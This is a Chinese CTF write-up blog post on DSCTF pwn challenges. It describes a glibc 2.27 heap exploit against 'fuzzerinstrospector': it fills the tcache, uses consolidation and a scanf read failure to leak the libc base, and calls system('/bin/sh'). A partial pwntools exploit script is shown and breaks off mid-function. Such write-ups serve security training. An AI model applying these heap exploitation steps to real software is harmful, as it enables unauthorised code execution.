DSCTF pwn 部分wp

这篇博客详细介绍了如何利用fuzzerinstrospector和rusty两个pwn题目中的堆溢出漏洞,通过泄露libc基址并调用system函数执行/bin/sh来获取shell。作者首先分析了程序的内存分配和释放行为,然后通过精心构造的堆块合并和off-by-one错误,成功泄露了libc基址。最后,通过fastbin attack实现了getshell。博客中还提到了一些在不同glibc版本下的技巧和挑战,以及解决方案。

DSCTF pwn 部分wp

原谅我懒,不想附图了,客官老爷们多包涵。

拿了第七:

32RK7_6C5A[)O6($F8NH1$C

出了两道pwn:

66J0WNBXM}1U_C7~XZV(MBR

fuzzerinstrospector

Case 6 有带rdi的任意指针调用,只要泄露libc即可。

rdi指向的内容可控。

add函数和edit函数功能相似。add函数malloc指定大小0x108。

前八个字节是自己写进的东西,后面字节是类似于一个字典的东西。通过字典才能打印。

可以先free掉七个堆块进入tcache填满,然后delete堆块进入unsortedbin。

不过申请unsortedbin的时候,他似乎会先检查符合tcache大小,然后放进tcache再分配,这时候会清空fd,就不能达到泄露的目的。

所以我通过合并操作先让他与旁边堆块合并再与top chunk合并,保留下来了fd指针。

然后利用scanf读入失败,就不会给前八字节赋值,把fd保留下来了,然后泄露libc基址。

最后调用system(‘/bin/sh’)即可。

exp:

from secrets import choice
from pwn import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.log_level = 'debug'
r = process('/mnt/hgfs/ubuntu/DSCTF/fuzzerinstrospector')
r  =remote('39.105.185.193',30007)
libc = ELF('/mnt/hgfs/ubuntu/DSCTF/libc-2.27.so')

def menu(choice):
    r.recvuntil(b"Your choice: ")
    r.sendline(str(choice))

def add(index,content):
    menu(1)
    r.recvuntil(b"Index: ")
    r.sendline(str(index))
    for i in range(8):
       
评论 7
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值